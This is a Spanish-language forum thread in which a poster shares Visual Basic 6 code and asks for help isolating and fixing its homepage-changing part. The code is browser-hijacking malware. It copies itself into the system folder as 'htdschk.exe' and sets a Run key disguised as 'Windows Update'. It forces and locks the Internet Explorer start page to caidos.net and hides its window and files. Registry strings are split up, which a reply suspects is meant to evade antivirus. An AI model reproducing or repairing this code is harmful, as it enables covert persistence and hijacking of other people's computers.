Bueno aqui tengo un scrip q cada ves q se inica mi pc se activa haciendoq  cambie mi pagina de inicio me funciona corectamente
pero este scrip anda mescaldo con otro solo quiero sacar loq es pagina de inicio como lo puedo hacer:

Private Sub Timer5_Timer()
If Not Inet1.StillExecuting Then
Call MyButton_Click
Timer5.Enabled = False
End If
End Sub


Private Sub Timer6_Timer()
    Dim win
    Dim sys
    Dim residencia
    On Error Resume Next
ejec = App.Path
     
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\halo2"
Name sys & "\halo2" As sys & "\htdschk.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\" & "M" & "icrosoft\Window" & "s" & "\Current" & "V" & "ersion\Run\" & "Windows Update", sys & "\htdschk.exe"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\Microsoft\Internet " & "E" & "xplorer\Main\Start Pa" & "g" & "e\" & "Microsoft Page", "http://caidos.net/"
residencia.RegWrite "H" & "K" & "EY_LOCA" & "L" & "_MACHINE\Soft" & "w" & "are\Microsoft\Interne" & "t" & " Explorer\Main\Star" & "t" & " Page\" & "Microsof" & "t" & " Page", "http://caidos.net/"
residencia.RegWrite "H" & "K" & "EY_CURREN" & "T" & "_USER\Soft" & "w" & "are\P" & "o" & "licies\Microsoft\I" & "n" & "terne" & "t" & " Explorer\Con" & "t" & "rol Panel\H" & "o" & "mepa" & "g" & "e", "1"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Software\Microsof" & "t" & "\" & "I" & "nternet " & "E" & "xplorer\M" & "a" & "in\S" & "t" & "art Page", "http://caidos.net/"
App.TaskVisible = False

End Sub

Private Sub Timer7_Timer()
Open Label3.Caption & ".txt" For Binary As #1
Close #1
Shell ("attrib " & Label3.Caption & ".txt +s +h +a"), vbHide
Timer7.Enabled = False
End Sub

Public Function TranslucentForm(frm As Form, TranslucenceLevel As Byte) As Boolean
SetWindowLong frm.hwnd, GWL_EXSTYLE, WS_EX_LAYERED 'hacemos invisible el form
SetLayeredWindowAttributes frm.hwnd, 0, TranslucenceLevel, LWA_ALPHA
TranslucentForm = Err.LastDllError = 0
End Function

bueno hay ma codigo pero pienzo q es lo principal

bueno si entiendo eso loq pasa es q todo el scrip q te paso ahi no funciona nesesito hacerlo funcionar

Hola, este moco es para que no lo detecten los antivirus?